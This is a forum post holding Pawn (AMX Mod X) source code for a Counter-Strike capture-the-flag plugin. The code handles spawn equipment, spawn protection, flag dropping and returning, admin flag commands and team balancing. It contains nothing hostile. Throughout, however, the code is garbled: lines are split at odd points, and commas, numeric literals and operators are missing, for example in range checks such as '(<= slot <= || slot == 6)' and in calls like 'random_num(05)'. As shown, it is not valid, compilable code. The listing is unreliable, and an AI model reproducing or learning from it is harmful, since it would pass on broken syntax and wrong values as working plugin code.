    g_bRespawned
[id] = false
    g_bAdrenaline
[id] = 0
    
    g_iTeam
[id] = TEAM_SPEC
}

public 
client_disconnected(id)
{
    
player_dropFlag(id)
    
task_remove(id)
    
    
g_iTeam[id] = TEAM_NONE
    g_bAlive
[id] = false
    g_bRespawned
[id] = false
    g_bAdrenaline
[id] = 0
    
    g_bAssisted
[id][TEAM_RED] = false
    g_bAssisted
[id][TEAM_BLUE] = false
}

public 
pfn_ChooseAppearance(idslot)
{
    if((
<= slot <= || slot == 6) && !g_bAlive[id])
    {
        
g_bRespawned[id] = true
        g_bRespawn
[id] = get_pcvar_num(pCvar_ctf_respawntime)
    }
}

public 
player_joinTeam()
{
    static 
szTeam[3]
    static 
id
    
    id 
read_data(1)
    
read_data(2szTeamcharsmax(szTeam))
    
    switch(
szTeam[0])
    {
        case 
'T'g_iTeam[id] = TEAM_RED
        
case 'C'g_iTeam[id] = TEAM_BLUE
        
case 'U'g_iTeam[id] = TEAM_NONE
        
default: g_iTeam[id] = TEAM_SPEC
    
}
    
g_bRespawned[id] = false
}

public 
pfn_PlayerSpawn(id)
{
    
g_bAlive[id] = is_user_alive(id) ? true false
    
    
if(!g_bAlive[id])
        return
    
    
set_member(idm_iRadioMessagesfalse)
    
    
task_remove(id TASK_EQUIPAMENT)
    
task_set(0.1"player_spawnEquipament"id TASK_EQUIPAMENT)
    
    
g_bProtected[id] = true
    g_bRespawned
[id] = false
    g_bProtecting
[id] = get_pcvar_num(pCvar_ctf_protection)
    
    
rg_set_user_rendering(idkRenderFxNone, {000}, kRenderTransAdd100.0)
}

public 
player_spawnEquipament(id)
{
    
id += TASK_EQUIPAMENT

    
if(!g_bAlive[id])
        return
    
    
rg_remove_all_items(id)
    
    new 
pistol random_num(05)
    new 
rifles random_num(619)
    
    
rg_give_item(id"weapon_knife")
    
    
rg_give_item(idg_szListWeapons[pistol][WEAPON_ENT])
    
rg_set_user_bpammo(idg_szListWeapons[pistol][WEAPON_CSW], g_szListWeapons[pistol][WEAPON_AMMO])
    
    
rg_give_item(idg_szListWeapons[rifles][WEAPON_ENT])
    
rg_set_user_bpammo(idg_szListWeapons[rifles][WEAPON_CSW], g_szListWeapons[rifles][WEAPON_AMMO])
    
    
client_print_color(idid"%s%L."CHAT_PREFIXid"MSG_GIVE_WEAPON"idg_szListWeapons[pistol][WEAPON_TYPE], 
    
g_szListWeapons[pistol][WEAPON_NAME], idg_szListWeapons[rifles][WEAPON_TYPE], g_szListWeapons[rifles][WEAPON_NAME])
}

public 
player_removeProtection(idszLang[])
{
    if(!(
TEAM_RED <= g_iTeam[id] <= TEAM_BLUE))
        return
    
    
g_bProtected[id] = false
    rg_set_user_rendering
(id)
    
    
set_hudmessage(HUD_PROTECTION)
    
ShowSyncHudMsg(idg_iSync[1], "%L"idszLang)
}

public 
pfn_TraceAttack(const idpevAttacker)
{
    if(
<= pevAttacker <= g_iMaxPlayers)
    {
        if(
g_bProtected[pevAttacker]) player_removeProtection(pevAttacker"PROTECTION_WEAPONUSE")        
        if(
g_bProtected[id]) return HC_SUPERCEDE
    
}
    return 
HC_CONTINUE
}

public 
event_playerKilled()
{
    static 
kread_data(1)
    static 
vread_data(2)
    
    
g_bRespawned[v] = true
    g_bAlive
[v] = false
    g_bAdrenaline
[k] = clamp(g_bAdrenaline[k] + REWARD_FRAG0LIMIT_ADRENALINE)
    
    
task_remove(TASK_EQUIPAMENT)
    
    
//set_hudmessage(HUD_HINT)
    //ShowSyncHudMsg(v, g_iSync[2], "%L: %L", v, "HINT", v, fmt("HINT_%d", random_num(1, 5)))
    
    
if(<= <= g_iMaxPlayers)
    {
        if(
== g_iFlagHolder[g_iTeam[k]])
        {
            
g_bAssisted[k][g_iTeam[k]] = true
        
}
    }
    
    
g_bRespawn[v] = get_pcvar_num(pCvar_ctf_respawntime)
    
player_dropFlag(v)
    
task_set(1.0"player_checkTeam"v)
}
public 
player_checkTeam(id)
{
    if(!(
TEAM_RED <= g_iTeam[id] <= TEAM_BLUE) || g_bAlive[id] || !get_cvar_num("mp_autoteambalance"))
        return

    new 
iPlayers[3]
    new 
iTeam g_iTeam[id]
    new 
iOpTeam get_opTeam(iTeam)

    for(new 
1<= g_iMaxPlayersi++)
    {
        if(
TEAM_RED <= g_iTeam[i] <= TEAM_BLUE)
            
iPlayers[g_iTeam[i]]++
    }

    if((
iPlayers[iTeam] > && !iPlayers[iOpTeam]) || iPlayers[iTeam] > (iPlayers[iOpTeam] + 1))
    {
        
engclient_cmd(id"jointeam", (iOpTeam == TEAM_BLUE "2" "1"))

        
set_task(2.0"player_forceJoinClass"id)

        
client_print_color(idid"%L"id"DEATH_TRANSFER""^x04"idg_szTeamName[iOpTeam], "^x01")
    }
}

public 
player_forceJoinClass(id)
{
    
engclient_cmd(id"joinclass""5")
}
public 
player_hook_dropflag(id)
{
    
player_cmd_dropFlag(id)
    return 
PLUGIN_HANDLED
}

public 
player_cmd_dropFlag(id)
{
    if(!
g_bAlive[id] || id != g_iFlagHolder[get_opTeam(g_iTeam[id])]) client_print_color(idid"%s%L"CHAT_PREFIXid"DROPFLAG_NOFLAG")
    else
    {
        
// Var
        
new iOpTeam get_opTeam(g_iTeam[id])
        
        
// Drop
        
player_dropFlag(id)
        
        
// Forward
        
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_MANUALDROPidiOpTeamfalse)
        
        
// Var
        
g_bAssisted[id][iOpTeam] = false
    
}
    return 
PLUGIN_HANDLED
}

public 
player_dropFlag(id)
{
    new 
iOpTeam get_opTeam(g_iTeam[id])
    
    if(
id != g_iFlagHolder[iOpTeam])
        return
    
    new 
ent g_iFlagEntity[iOpTeam]
    
    if(!
is_valid_ent(ent))
        return
    
    
g_fLastDrop[id] = get_gametime() + 2.0
    g_iFlagHolder
[iOpTeam] = FLAG_HOLD_DROPPED
    
    entity_set_edict
(entEV_ENT_aiment, -1)
    
entity_set_int(entEV_INT_movetypeMOVETYPE_TOSS)
    
entity_set_int(entEV_INT_sequenceFLAG_ANI_DROPPED)
    
entity_set_int(entEV_INT_solidSOLID_TRIGGER)
    
entity_set_origin(entg_fFlagLocation[iOpTeam])
    
    new 
Float:fReturn get_pcvar_float(pCvar_ctf_flagreturn)
    
    if(
fReturn 0)
        
task_set(fReturn"flag_autoReturn"ent)
    
    if(
g_bAlive[id])
    {
        new 
Float:fVelocity[3]
        
velocity_by_aim(id200fVelocity)
        
        
fVelocity[z] = 0.0
        entity_set_vector
(entEV_VEC_velocityfVelocity)
    }
    else
        
entity_set_vector(entEV_VEC_velocityFLAG_DROP_VELOCITY)
    
    
game_announce(EVENT_DROPPEDiOpTeamg_bPlayerName[id])
    
    
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_DROPPEDidiOpTeamfalse)
    
    
g_fFlagDropped[iOpTeam] = get_gametime()
    
    
log_message("<%s>%s dropped the ^"%s^" flag."g_szTeamName[g_iTeam[id]], g_bPlayerName[id], g_szTeamName[iOpTeam])
}

public 
admin_cmd_moveFlag(idlevelcid)
{
    if(~
get_user_flags(id) & level)
    {
        return 
PLUGIN_HANDLED
    
}
    
    new 
szTeam[2]
    
read_argv(1szTeamcharsmax(szTeam))

    new 
iTeam str_to_num(szTeam)
    
    if(!(
TEAM_RED <= iTeam <= TEAM_BLUE))
    {
        switch(
szTeam[0])
        {
            case 
'r''R'iTeam 1
            
case 'b''B'iTeam 2
        
}
    }

    if(!(
TEAM_RED <= iTeam <= TEAM_BLUE))
        return 
PLUGIN_HANDLED
    
    entity_get_vector
(idEV_VEC_origing_fFlagBase[iTeam])
    
    
entity_set_origin(g_iBaseEntity[iTeam], g_fFlagBase[iTeam])
    
entity_set_vector(g_iBaseEntity[iTeam], EV_VEC_velocityFLAG_SPAWN_VELOCITY)
    
    if(
g_iFlagHolder[iTeam] == FLAG_HOLD_BASE)
    {
        
entity_set_origin(g_iFlagEntity[iTeam], g_fFlagBase[iTeam])
        
entity_set_vector(g_iFlagEntity[iTeam], EV_VEC_velocityFLAG_SPAWN_VELOCITY)
    }
    
    
client_print(idprint_console"%s%L"CONSOLE_PREFIXid"ADMIN_MOVEBASE_MOVED"idg_szMLFlagTeam[iTeam])
    
    return 
PLUGIN_HANDLED
}

public 
admin_cmd_saveFlags(idlevelcid)
{
    if(~
get_user_flags(id) & level)
    {
        return 
PLUGIN_HANDLED
    
}

    new 
iOrigin[3][3]
    new 
szFile[34]
    new 
szBuffer[34]
    new 
szMap[32]
    
    
get_mapname(szMapcharsmax(szMap))
    
FVecIVec(g_fFlagBase[TEAM_RED], iOrigin[TEAM_RED])
    
FVecIVec(g_fFlagBase[TEAM_BLUE], iOrigin[TEAM_BLUE])

    
formatex(szBuffercharsmax(szBuffer), "%d %d %d^n%d %d %d"iOrigin[TEAM_RED][x], iOrigin[TEAM_RED][y], iOrigin[TEAM_RED][z], iOrigin[TEAM_BLUE][x], iOrigin[TEAM_BLUE][y], iOrigin[TEAM_BLUE][z])
    
formatex(szFilecharsmax(szFile), FLAG_SAVELOCATIONszMap)

    if(
file_exists(szFile))
        
delete_file(szFile)

    
write_file(szFileszBuffer)

    
client_print(idprint_console"%s%L %s"CONSOLE_PREFIXid"ADMIN_MOVEBASE_SAVED"szFile)

    return 
PLUGIN_HANDLED
}

public 
admin_cmd_returnFlag(idlevelcid)
{
    if(~
get_user_flags(id) & level)
    {
        return 
PLUGIN_HANDLED
    
}
    
    new 
iTeam read_argv_int(1)
    
    if(!(
TEAM_RED <= iTeam <= TEAM_BLUE))
        return 
PLUGIN_HANDLED
    
    
if(g_iFlagHolder[iTeam] == FLAG_HOLD_DROPPED)
    {
        if(
g_fFlagDropped[iTeam] < (get_gametime() - ADMIN_RETURNWAIT))
        {
            new 
Float:fFlagOrigin[3]
            
entity_get_vector(g_iFlagEntity[iTeam], EV_VEC_originfFlagOrigin)
            
            
flag_sendHome(iTeam)
            
            
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_ADMINRETURNidiTeamfalse)
            
            
game_announce(EVENT_RETURNEDiTeamNULL)
            
            
client_print(idprint_console"%s%L"CONSOLE_PREFIXid"ADMIN_RETURN_DONE"idg_szMLFlagTeam[iTeam])
        }
        else
            
client_print(idprint_console"%s%L"CONSOLE_PREFIXid"ADMIN_RETURN_WAIT"idg_szMLFlagTeam[iTeam], ADMIN_RETURNWAIT)
    }
    else
        
client_print(idprint_console"%s%L"CONSOLE_PREFIXid"ADMIN_RETURN_NOTDROPPED"idg_szMLFlagTeam[iTeam])
    
    return 
PLUGIN_HANDLED
}

public 
event_restartGame()
    
g_bRestarting true

public event_roundStart()
{
    for(new 
id 1id <= g_iMaxPlayersid++)
    {
        if(!
g_bAlive[id])
            continue
        
        
task_remove(id TASK_EQUIPAMENT)
        if(
g_bRestarting)
        {
            
task_remove(id)
        }
    }
    
    for(new 
iFlagTeam TEAM_REDiFlagTeam <= TEAM_BLUEiFlagTeam++)
    {
        
flag_sendHome(iFlagTeam)
        
task_remove(g_iFlagEntity[iFlagTeam])
        
        
log_message("%s, %s flag returned back to base.", (g_bRestarting "Game restarted" "New round started"), g_szTeamName[iFlagTeam])
    }
    
    if(
g_bRestarting)
    {
        
g_iScore = {000}
        
g_bRestarting false
    
}
}

public 
msg_teamScore()
{
    static 
szTeam[3]
    
get_msg_arg_string(1szTeamcharsmax(szTeam))
    switch(
szTeam[0])
    {
        case 
'T'set_msg_arg_int(2ARG_SHORTg_iScore[TEAM_RED])
        case 
'C'set_msg_arg_int(2ARG_SHORTg_iScore[TEAM_BLUE])
    }
}

public 
msg_roundTime()
    
set_msg_arg_int(1ARG_SHORTget_timeleft())

player_healingEffect(id)
{
    new 
iOrigin[3]
    
get_user_origin(idiOrigin)
    
    
message_begin(MSG_PVSSVC_TEMPENTITYiOrigin)
    
write_byte(TE_PROJECTILE)
    
write_coord(iOrigin[x] + random_num(-1010))
    
write_coord(iOrigin[y] + random_num(-1010))
    
write_coord(iOrigin[z] + random_num(030))
    
write_coord(0)
    
write_coord(0)
    
write_coord(15)
    
write_short(gSpr_regeneration)
    
write_byte(1)
    
write_byte(id)
    
message_end()
}

game_announce(iEventiFlagTeamszName[])
{
    new 
iColor iFlagTeam
    
new szText[64]
    
    switch(
iEvent)
    {
        case 
EVENT_TAKEN:
        {
            
iColor get_opTeam(iFlagTeam)
            
formatex(szTextcharsmax(szText), "%L"LANG_PLAYER"ANNOUNCE_FLAGTAKEN"szNameLANG_PLAYERg_szMLFlagTeam[iFlagTeam])
        }
        case 
EVENT_DROPPEDformatex(szTextcharsmax(szText), "%L"LANG_PLAYER"ANNOUNCE_FLAGDROPPED"szNameLANG_PLAYERg_szMLFlagTeam[iFlagTeam])
        case 
EVENT_RETURNED:
        {
            if(
strlen(szName) != 0)
                
formatex(szTextcharsmax(szText), "%L"LANG_PLAYER"ANNOUNCE_FLAGRETURNED"szNameLANG_PLAYERg_szMLFlagTeam[iFlagTeam])
            else
                
formatex(szTextcharsmax(szText), "%L"LANG_PLAYER"ANNOUNCE_FLAGAUTORETURNED"LANG_PLAYERg_szMLFlagTeam[iFlagTeam])
        }
        case 
EVENT_SCOREformatex(szTextcharsmax(szText), "%L"LANG_PLAYER"ANNOUNCE_FLAGCAPTURED"szNameLANG_PLAYERg_szMLFlagTeam[get_opTeam(iFlagTeam)])
    }
    
    
set_hudmessage(iColor == TEAM_RED 255 0iColor == TEAM_RED 255iColor == TEAM_BLUE 255 0HUD_ANNOUNCE)
    
ShowSyncHudMsg(0g_iSync[3], szText)
    
    if(
get_pcvar_num(pCvar_ctf_sound[iEvent]))
    {
        
client_cmd(0"mp3 play ^"sound/capturabandeira/%s.mp3^""g_szSounds[iEvent][iFlagTeam])
    }
}

rg_set_user_rendering(idfx kRenderFxNone, {Float,_}:color[3] = {0.0,0.0,0.0}, render kRenderNormalFloat:amount 0.0)
{
    
set_entvar(idvar_renderfxfx)
    
set_entvar(idvar_rendercolorcolor)
    
set_entvar(idvar_rendermoderender)
    
set_entvar(idvar_renderamtamount)

yRestrict is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 22:20.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode